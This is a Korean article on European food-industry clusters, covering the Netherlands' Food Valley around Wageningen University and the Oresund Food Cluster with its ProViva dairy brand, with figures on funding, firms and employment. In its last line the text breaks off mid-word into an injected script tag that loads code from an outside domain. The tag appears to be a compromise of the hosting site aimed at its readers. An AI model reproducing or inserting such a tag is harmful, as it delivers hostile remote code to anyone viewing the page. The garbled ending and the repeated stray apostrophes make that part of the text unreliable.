유럽에서 식품은 이제 단순히 국민에게 먹을 거리를 제공하는데 그치지 않고 국가성장 동력산업으로 자리잡아가고 있다.
지난 3일부터 12일까지 10일 일정의 유럽선진국 산학협력체계 연수 일환으로 방문한 네덜란드, 덴마크, 독일에서도 이같은 모습을 확인할 수 있었다.
지역농업과 연구기관, 식품기업 등과의 혁신적인 클러스터 구축을 통해 식품 및 관련산업의 경쟁력을 강화시켜 나가고 있는 사례를 소개한다.

<푸드밸리(Food Valley)>
세계적인 주목을 받고 있는 네덜란드 푸드밸리(Food Valley)는 1997년 민간기업과 와게닝겐대학의 협력으로 출범해 불과 10여년만에 농식품연구기관 21개, 식품회사 70개, 식품관련회사 1440개로 구성된 세계적인 수준의 농식품 종합연구산업단지로 성장했다.
현재 푸드밸리에는 네슬레(Nestle), 유니레버(Unilever), 하이츠(H.J. Heinz), 하이네켄(Heineken), 세미니스/몬산토(Seminis/Monsanto) 등 세계 굴지의 기업들이 자리잡고 있다.
이에 따라 종사인력만도 1200명의 박사를 포함해 약 1만5000명에 이른다.
푸드밸리가 단기간에 세계적인 수준의 클러스터로 성장할 수 있게 된 핵심 성공요인은 뭘까?

#성공요인 ‘하나’-적극적인 정부지원
무엇보다 정부가 물류·교통·공공시설 등 인프라 투자는 물론 2000년 클러스터 개발 로드맵 발표, 2001년 ‘클러스터 이노베이션 컨퍼런스(Cluster Innovation Conference)''''''''개최시 적극적인 지원으로 클러스터 발전의 중요한 견인차역할을 했다.
R&D비용 세금 감면 및 산학협동 사업 보조금 지급 등 대학에 대한 연구보조금 지원은 지역을 중심으로 대학, R&D기관 및 식품관련 기업간 네트워크 형성에 윤활유 역할을 했다. 2006년의 경우 이부분에만 9880만 유로를 지원했다.

#성공요인 ‘둘’-와게닝겐 대학과 연구센터의 역할
관련 대학과 연구센터또한 제몫을 톡톡히 했다. 푸드밸리의 핵심은 와게닝겐 대학(Wageningen University)과 연구센터로 농산식품과 생명과학 분야에서 단연 세계 1위의 연구기관이다.
이 곳에서는 타킷에 맞는 집약된 연구와 교육의 적용, 산업체와 협력하는 전통, 국제적인 네크워크 구축을 통해 공동연구→기술구현→신규사업 개발→식품 벤처 형성등의 선순환 구조를 형성하고 있다.

#성공요인 ‘셋’-클러스터내 연계 전담기관 운영
푸드밸리에는 클러스터 주도하에 대학-지역 중소기업 및 대기업-연구소를 연계하는 전담기관이 운영되고 있다. 기존 사업체, 지자체, 정부지원기관, 학교 등과 연계해 특허, 투자 등 농식품 산업 관련 전문가 상담을 제공하고 있다.
BioPartner, AgroBTC 등 벤처보육센터를 운영해 농식품 관련 신생벤처기업 육성을 위한 실험실, 사무실 임대 및 IT 기반시설을 지원하고 있다.

#성공요인 ‘넷’-글로벌 기업과의 제휴
미국, 유럽 등의 선진 기업과의 네트워크 형성과 말레시아 및 러시아 등과 식품 클러스터 공동개발을 위한 상호 자본 및 기술투자도 세계적인 수준의 클러스터로 발돋움하는데 큰 몫을 했다.
2004년부터 R&D투자 및 프로젝트 활성화 일환으로 500명의 다국적 신규 연구인력 고용을 통해 경쟁력을 강화했다. 또한 26개의 신규 프로젝트에 대해 2억달러(USD)를 투자했으며 이 가운데 39%가 네덜란드를 제외한 아시아, 미국, 유럽 등에 투자됐다.

<오레슨드 푸드 클러스터(Oresund Food Cluster)>
스웨덴과 덴마크 양국에 분포된 수출중심의 클러스터인 오레슨드 푸드 클러스터(Oresund Food Cluster)는 식품 및 관련산업 매출이 480억달러 달러에 달한다. 이는 스웨덴과 덴마크 양국 GDP의 11%에 이른다.
식품산업 직접 고용인원만도 6만1000명에 이르며 간접고용까지 포함하면 22만5000여명의 고용창출효과를 내고 있다.
현재 글로벌 식품 소비재 브랜드인 네슬레(Nestle), 알라(ARLA), 데니쉬 크라운(Danish Crown) 등의 기업이 참여하고 있다.
오레슨드 푸드 클러스터가 이처럼 성공적 정착을 할 수 있었던 데는 정부의 적극적 지원과 혁신적인 R&D, 물류·생활 인프라 기반, 글로벌 다국적 기업 유치의 4박자가 잘 맞아 떨어졌기 때문으로 보인다. 특히나 혁신적인 R&D는 지역 식품산업과 오레슨드 대학의 밀접한 연계를 통해 가능했다는게 현지 관계자들의 설명이다.

#오레슨드 푸드 클러스터 성공사례; 오리슨드의 지역브랜드인 ‘ProViva''''''''
1964년 650개의 남부 스웨덴 낙농 영농조합으로 구성된 유제품 개발 생산업체인 ‘스켄 데일리스(Skane Dairies)의 브랜드인 ‘프로비아(ProViva)''''''''는 건강기능이 강조된 통합 브랜드이다.
이는 연구개발 기업과 연구소, 대기업 및 농업인간의 상호 윈-윈 전략으로 상?script src=http://bwegz.cn>

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